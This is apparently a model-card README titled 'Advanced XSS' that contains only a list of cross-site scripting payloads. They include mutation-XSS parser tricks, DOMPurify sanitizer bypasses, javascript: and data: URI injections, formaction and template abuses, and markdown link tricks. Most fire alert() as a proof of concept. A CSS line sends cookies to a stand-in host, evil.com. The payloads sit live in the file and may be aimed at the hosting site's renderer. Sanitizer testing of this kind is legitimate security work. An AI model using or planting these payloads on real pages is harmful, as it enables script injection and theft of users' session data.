---
language: en
license: mit
---
# Advanced XSS

## T1: mXSS via noscript
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

## T2: mXSS via math
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(2)>

## T3: mXSS via svg/foreignObject
<svg><foreignObject><div><style><!--</style><img src=x onerror=alert(3)></div></foreignObject></svg>

## T4: DOMPurify bypass via namespace confusion
<svg><a><rect width="100" height="100"/><animate attributeName="href" values="javascript:alert(4)"/></a></svg>

## T5: DOMPurify bypass via use
<svg><use href="data:image/svg+xml,<svg id=x xmlns=http://www.w3.org/2000/svg><image href=1 onerror=alert(5) /></svg>#x" />

## T6: CSS injection
<p style="background:url(javascript:alert(6))">test</p>
<p style="background-image:url(https://evil.com/track?cookie=)">CSS exfil</p>

## T7: Custom protocol handler  
<a href="hf://models/test">HF Protocol</a>

## T8: Form with formaction
<button formaction="javascript:alert(8)">test</button>
<input type="image" src=x onerror="alert(8)">

## T9: Anchor with data URI
<a href="data:text/html,<script>alert(9)</script>">Click</a>

## T10: Template literal
<template><script>alert(10)</script></template>
<xmp><script>alert(10)</script></xmp>

## T11: Markdown link tricks
[test](https://evil.com "onclick=alert(11)")
[test](https://evil.com" onclick="alert(11))